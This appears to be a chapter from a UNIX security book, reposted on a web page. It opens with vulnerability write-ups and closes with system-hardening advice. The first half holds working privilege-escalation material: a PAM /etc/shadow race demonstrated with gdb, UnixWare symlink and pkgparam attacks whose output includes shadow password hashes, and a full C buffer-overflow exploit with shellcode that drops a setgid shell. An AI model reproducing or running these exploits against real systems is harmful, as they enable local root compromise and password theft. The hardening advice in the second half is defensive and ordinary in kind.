	Sign In Sign-Up

UNIX

UNIX folks are a breed into themselves. Some may know firewalls, some may know scanners, some may know exploit scripts, and so forth. However, they all share one common thing: They know their operating system exceedingly well. The average UNIX system administrator has probably written his own printer drivers on more than one occasion. He has also likely taken the source code for various stock utilities and reworked them to his own particular taste. So this chapter--to be any good at all--has to be filled with technical information of practical value.

Conversely, there are a lot of readers scouring these pages to learn about basic UNIX system security. Perhaps they recently installed Linux or FreeBSD because it was an inexpensive choice for a quick Web server solution. Perhaps they have had a UNIX box serving as a firewall at their offices--maintained by some outside technician--and they want to know what it actually does. Or perhaps this class of readers includes journalists who have no idea about UNIX and their editors have requested that they learn a little bit.

Holes in Unix

There is a potential vulnerability with the /usr/dt/bin/dtlogin in Compaq's Tru64/DIGITAL UNIX software, where under certain circumstances, a user may gain unauthorized access as superuser.

PLATFORM: Systems running Tru64/DIGITAL UNIX V4.0B, V4.0D, V4.0E and V4.0F.

DAMAGE: Under certain circumstances, a user may gain unauthorized access as superuser.

SOLUTION: Apply the vendor-supplied patch.

Latest release of Linux Pluggable Authentication Modules (pam-0.64-2, as well as previous ones), has huge security flaw in pam_unix_passwd.so module, which can be exploited to gain read/write permissions to /etc/shadow file.

Vunerable platforms:

Almost any Linux with PAM + PAM-compliant passwd utility. Both RFC and PAM readme recommends pam_unix_passwd.so as default password manipulation routine. Note: RedHat 5.x distribution isn't vunerable, because this module is obsoleted with newer, universal pam_pwdb.so, while bug in pam_unix_passwd.so (shipped with dist) is still present.

In the other words, if you have Linux PAM installed on your system 'by hand', as described in RFC/FAQs, your system is vunerable. Default RedHat 5.x installation is less or more secure. We have no information about other PAM-compliant distributions.

There's no information about SunOS/Solaris/etc PAM, as it's slightly different than Linux version.

Quick vunerability test: $ grep pam_unix_passwd /etc/pam.conf /etc/pam.d/passwd

Compromise:

- Read and write permissions to /etc/shadow file,

- Superuser privledges, locally.

Description:

Default password change routine in pam_unix_passwd.so module, called >from passwd utility, creates temporary file /etc/nshadow using fopen(). Unfortunately, process umask isn't changed. After approx. 3 syscalls, chmod is called to set proper mode on this file (0600). But, for these

3 syscalls, file permissions are equal to 0666 ~ umask. If umask of current process (which is inherited from parent process, of course) is set to 0, we have /etc/nshadow file with permissions 0666. Then, after all, it's moved using rename() to /etc/ shadow. Cute. strace output for critical part of code:

2957 open("/etc/nshadow", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 8

[...]

2957 chown("/etc/nshadow", 0, 0) = 0

2957 chmod("/etc/nshadow", 0600) = 0

[...]

2957 rename("/etc/nshadow", "/etc/shadow") = 0

Impact:

<ttyp1>

[lcamtuf@nimue /]$ umask 0

[lcamtuf@nimue /]$ echo $$

3023

[lcamtuf@nimue /]$ exec passwd

Changing password for lcamtuf

(current) UNIX password:

New UNIX password:

<ttyp2>

[root@nimue /root]# gdb passwd 3023

Attaching to program `/usr/bin/passwd', process 3023

[...]

0x400c37b4 in __read ()

(gdb) break chown

Breakpoint 1 at 0x400c4480

(gdb) c

Continuing.

<ttyp1>

Retype new UNIX password:

<ttyp2>

Breakpoint 1, 0x400c4480 in chown ()

<ttyp3>

[root@nimue /root]# ls -la /etc/nshadow

-rw-rw-rw- 1 root root 0 Dec 4 11:56 /etc/nshadow

Typical race. Considerated exploitable :-)

The closing:

Lame fix: chmod -s /usr/bin/passwd

Better fix: add umask(077); somewhere ;

A vulnerability in "/usr/local/bin/pis" on SCO UnixWare will allow any user to create arbitrary files with group "sys" privileges. A full root compromise is then trivial.

By creating a symlink between /tmp/pisdata and any sys-owned file we can overwrite that file with ps output. If we point the symlink at a non-existant file in a directory which we can write to (such as, say, /sbin/ls), pis will create this file mode 666 owned by us, group of sys.

This is a fairly simple compromise. /sbin is writable by group sys. We can create files in /sbin owned by us. And root's default $PATH starts with /sbin.

Exploits

bash-2.02$ ls -dal /sbin

drwxrwxr-x 2 root sys 3072 Dec 28 08:18 /sbin

bash-2.02$ ln -s /sbin/xnec /tmp/pisdata

bash-2.02$ pis

bash-2.02$ ls -la /sbin/xnec

-rw-rw-rw- 1 xnec sys 5896 Dec 28 08:28 /sbin/xnec

bash-2.02$

Any user may read any file on the system.

As previously stated, UnixWare binaries gain additional privileges via standard suid/sgid AND /etc/security/tcb/privs. The majority of the UnixWare "pkg" command, such as pkginfo, pkgcat, pkgparam, etc, are vulnerable to a bug which will allow any user to read any file on the system as a result of their additional "dacread" permission in the privs file.

The dacread permission allows a process to override the Discretionary Access Controls (DAC) for read-only operations. Basically, a process with the dacread permissions is able to bypass the mode bits and ownership on a file, but only for reading it. A process with dacwrite permissions can bypass mode bits to write to or execute that file.

I'm pretty sure that the bugs I found in the pkg commands were introduced by their addition to the privs file. As far as I can tell, there is virtual ly no reason for them to be able to read any file on the system. All around, this additional privilege thing, well, sucks. Consider now that the truss(1) command will allow the user to see any file i/o that happens between a process and the system since it isn't suid/sgid. Thus, if there is *any* way that you can make pkg* read from a file, even if the output is never printed, you can examine truss output to get the file's contents.

exploit

The worst offender of pkg* is pkgparam, which will print the contents of a file to stdout, though I've been able to get most of the pkg program to read from /etc/shadow in one way or another and grab the contents with truss.

bash-2.02$ ls -la /bin/pkgparam

-r-xr-xr-x 1 root sys 166784 May 21 1999

/bin/pkgparam

bash-2.02$ /bin/pkgparam -f /etc/shadow

Dy0l3OC7XHsj.:10925::::::

NP:6445::::::

*LK*:::::::

BgusHRQZ9MH2U:10878::::::

*LK*:::::::

nv.Xrh2V3vArc:10882::::::

ozT.yeRe1/dxY:10882::::::

RinwpQfqabYbc:10928::::::

bash-2.02$

Now just concatenate the first field of /etc/passwd with this file and run the favorite cracker.

Any local users can exploit a bug in rtpm to gain "sys" privileges. A root compromise is then trivial.

A simple buffer overflow in /usr/sbin/rtpm will allow us to gain sys privileges. From there, you can strings(1) the /etc/security/ia/master file for the encrypted root password or inject a shell into the /etc/security/tcb/privs file. Either of these will lead to a fairly quick root compromise.

EXPLOIT

A small warning about this exploit. rtpm is one of those ascii gui programs that messes with your term. If it doesn't exit normally, it will leave you with a mostly unusable session. For this reason, this exploit will drop /tmp/ksh as sgid-sys and exit. After you run the exploit, you'll probably need to forcefully logout (exit might not work) then log back in to get your privs. The default offset should work, but if it doesn't you should write a script to change it rather than deal with logging out/in every time you want to change your offset.

/**

** uwrtpm.c - UnixWare 7.1 rtpm exploit

** Drops a setgid sys shell in /tmp/ksh. We can't exec a shell because

** rtpm screws up our terminal when it exits abnormally. After running

** this exploit, you must forcefully exit your shell and re-login to exec

** your sys shell.

**/

#include <stdlib.h>

#include <stdio.h>

char scoshell[]=

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"

"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"

"\xff\xff/tmp/rt\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define ALIGN 3

#define LEN 1100

#define NOP 0x90

#define SYSSHELL "void main() {setregid(3,3);system(\"cp /bin/ksh \

/tmp/ksh; chgrp sys /tmp/ksh; chmod 2555 /tmp/ksh\"); } "

void buildrt() {

FILE *fp;

char cc[100];

fp = fopen("/tmp/rt.c", "w");

fprintf(fp, SYSSHELL);

fclose(fp);

snprintf(cc, sizeof(cc), "cc -o /tmp/rt /tmp/rt.c");

system(cc);

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;

int buflen = LEN;

long int addr;

char buf[LEN];

if(argc > 3) {

fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);

exit(0);

}

else if (argc == 2){

offset=atoi(argv[1]);

}

else if (argc == 3) {

offset=atoi(argv[1]);

buflen=atoi(argv[2]);

}

else {

offset=0;

buflen=1100;

}

buildrt();

addr=0x8046a01 + offset;

fprintf(stderr, "\nUnixWare 7.1 rtpm exploit drops a setgid sys shell ");

fprintf(stderr, "in /tmp/ksh\n");

fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");

fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);

memcpy(buf+(buflen/2),scoshell,strlen(scoshell));

for(i=((buflen/2) + strlen(scoshell))+ALIGN;i<buflen-4;i+=4)

*(int *)&buf[i]=addr;

memcpy(buf, "HOME=", 5);

buf[buflen - 1] = 0;

putenv(buf);

execl("/usr/sbin/rtpm", "rtpm", NULL);

exit(0);

}

Securing Unix

Some constants can be observed on all UNIX platforms. Securing any system begins at the time of installation (or at least it should). At the precise moment of installation, the only threat to your security consists of out-of-the-box holes (which are generally well known) and the slim possibility of a trojan horse installed by one of the vendor's programmers. (This contingency is so slight that you would do best not to fret over it. If such a trojan horse exists, news will soon surface about it. Furthermore, there is really no way for you to check whether such a trojan exists. You can apply all the MD5 you like and it will not matter a hoot. If the programmer involved had the necessary privileges and access, the cryptographic checksums will ring true, even when matched against the vendor's database of checksums. The vendor has no knowledge that the trojan horse existed, and therefore, he went with what he thought was the most secure distribution possible. These situations are so rare that you needn't worry about them.

Console Security

Before all else, your first concern runs to the people who have physical access to the machine. There are two types of those people:

Ø Those that will occupy physical proximity, but have no privileged access

Ø Those that will both occupy physical proximity and have privileged access

The first group, if they tamper with your box, will likely cause minimal damage, but could easily cause denial of service. They can do this through simple measures, such as disconnecting the SCSI cables and disabling the Ethernet connection. However, in terms of actual access, their avenues will be slim so long as you set your passwords immediately following installation.

Where Is the Box Located?

Next, note that the box is only as secure as its location. Certainly, you would not place a machine with sensitive information in a physical location where malicious users can have unrestricted access to it. "Unrestricted access" in this context means access where users could potentially have time, without fear of detection, to take off the cover or otherwise tamper with the hardware. Such tampering could lead to compromise.

Before You Erect a Networked Machine

Some definition is in order here, aimed specifically at those using SGI systems (or any other system that is commonly used for graphics, design, or other applications not generally associated with the Internet).

If you are running UNIX, your machine is networked. It makes no difference that you haven't got a "network" (other than the Internet) connected to it. UNIX is a networked operating system by default. That is, unless you otherwise disable networking options, that machine will support most of the protocols used on the Internet. If you have been given such a machine, used primarily for graphical projects, you must either get a technician skilled in security or learn security yourself. By the time that box is plugged into the Net, it should be secure. As I explained earlier in this book, lack of security knowledge has downed the machines of many SGI users. Windowed systems are great (and SGI's is truly beautiful to behold). However, at the heart of such boxes is a thriving, networked UNIX.

Out-of-the-Box Defaults

In nearly every flavor of UNIX, there is some default password or configuration that can lead to a root compromise

lp (line printer) •guest •4Dgifts •demos •jack •jill •backdoor •tutor •tour

these are some of the users which need to be configured properly.

Password Security

It is assumed that you are going to have more than one user on this machine. (Perhaps you'll have dozens of them.) If you are the system administrator (or the person dictating policy), you will need to set some standard on the use of passwords.

First, recognize that every password system has some inherent weakness. This is critical because passwords are at the very heart of the UNIX security scheme. Any compromise of password security is a major event. Usually, the only remedy is for all users to change their passwords. Today, password schemes are quite advanced, offering both encrypted passwords, and in certain instances password shadowing.

Installing a Proactive Password Checking Program

So, to recount, you have thus far performed the following operations:

Ø Installed the software

Ø Defined the root password

Ø Defined the console password

Ø Physically secured the machine and installation media

Ø Installed password shadowing

Next, you will want to install a program that performs proactive password checking. Users are generally lazy creatures. When asked to supply their desired password, they will often pick passwords that can easily be cracked. Perhaps they use one of their children's names, their birth date, or their department name. On systems without proactive password checking, these characteristically weak passwords go unnoticed until the system administrator "gets around" to checking the strength of them with a tool such as Crack. By then it is often too late.

The purpose of a proactive password checker is to stop the problem before the password gets committed to the passwd file. Thus, when a user enters his desired password, before the password is accepted, it is compared against a wordlist and a series of rules. If the password fails to meet the requirements of this process (for example, it is found to be a weak password choice), the user is forced to make another choice. In this way, at least some bad passwords are screened out at time of submission.

Snooping Utilities: The finger Service

There is disagreement in the security field on the finger utility issue. Some administrators argue that leaving the finger service intact will have an almost negligible effect on security. Their view is that on a large system, it could take ages for a cracker to build a reliable database of users and processes. Moreover, it is argued that with the introduction of dynamically allocated IP addresses, this information may be flawed for the purposes of cracking (for example, making the argument that the command finger @target.host.com will reveal only those users currently logged to the machine. This may be true in many distributions of fingerd, but not all. Still, administrators argue that crackers will meet with much duplicate and useless information by attempting to build a database this way. These contingencies would theoretically foil a cracker by frustrating their quest. Plainly stated, this technique is viewed as too much trouble. Perhaps. But as you will see soon, that is not really true. (Moreover, for certain distributions, this is not even an issue.) Try issuing this command against an Ultrix fingerd:

finger @target.host.com

The listing you will receive in response will shock you. On certain versions of the Ultrix fingerd, this command will call a list of all users in the passwd file.

My feeling is that the functionality of remote finger queries should be eliminated altogether (or at least restricted in terms of output). Experimentation with finger queries (against your server or someone else's) will reveal some very interesting things. First, know this: fingering any character that might appear in the structure of a path will reveal whole lists of people. For example, suppose that you structure your directories for users as /u1, /u2, /u3, and so on. If you do, try fingering this:

finger 4@my.host.com

Alas, even though you have no users named 4, and even though none of these have the character 4 within their usernames, they still appear. If a cracker knows that you structure your disk organization in this manner, he can build your entire passwd file in less than an hour.

However, if you feel the need to allow finger services, I suggest using some "secure" form of finger, such as the highly customizable fingerd written by Laurent Demailly. One of its main features is that it grants access to plan files through a chrooted directory. sfingerd (which nearly always come with the full source) is available at ftp://hplyot.obspm.fr:/net/sfingerd-1.8.tar.gz.

The Patches

Your next step is to apply all available or known patches for your operating system. Many of these patches will correct serious security problems that have become known since your operating system distribution was first released. These packages most often consist of little more than a shell script or the replacement of a shared resource, but they are very important.

A comprehensive listing of all patches and their locations is beyond the scope of this book. However, the following are a few important links:

Patches for Sun operating systems and Solaris can be found at ftp://sunsolve1.sun.com/pub/patches/.

Patches for the HP-UX operating system can be found at http://support.mayfield.hp.com/patches/html/patches.html.

Patches for Ultrix can be found at ftp://ftp.service.digital.com/pub/ultrix/.

Patches for the AIX operating system can be found at ftp://software.watson.ibm.com.

Connecting the Machine to the Internet: Last Steps

All right. It is time to connect your machine to the Internet (and probably a local area network as well). Before doing that, however, you should take one final step. That step involves security policies and procedures. All the security in the world will not help you if your employees (or other users) run rampant throughout the system.

Your policies and procedures will vary dramatically, depending on what your network is used for and who is using it. Before you ever connect to the Net (or any network), you should have a set of policies and procedures. In my opinion, they should be written. People adhere to things more stringently when they are written. Also, if you are away and have appointed someone else to handle the machine (or network), that person can quickly refer to your policies and procedures.

Many companies and organizations do not have such policies and procedures and this leads to confusion and disagreement among management personnel. (Moreover, the lack of a written policy greatly weakens security and response time.)

A little UNIX security knowledge is a valuable thing for all system administrators, no matter what platform they actually use. This is primarily because UNIX evolved side by side with the Internet. Many valuable lessons have been learned through that evolutionary process, and Microsoft has wisely applied those lessons to the design of Windows NT.

Securing a UNIX server is more an art than a science. As the saying goes, there are a dozen ways to skin a cat. In UNIX security, the climate is just so. I have seen system administrators develop their entire security scheme from scratch. I have seen others who rely largely on router-based security measures. You have numerous choices. Only you can determine what works and what doesn't.

In short, the field of UNIX security is truly engrossing. I have encountered few operating systems that are as elegant or that offer as many different ways to approach the same problem. This versatility contributes to the level of difficulty in securing a UNIX server. Thus, the act of securing a UNIX box is a challenge that amounts to real hacking.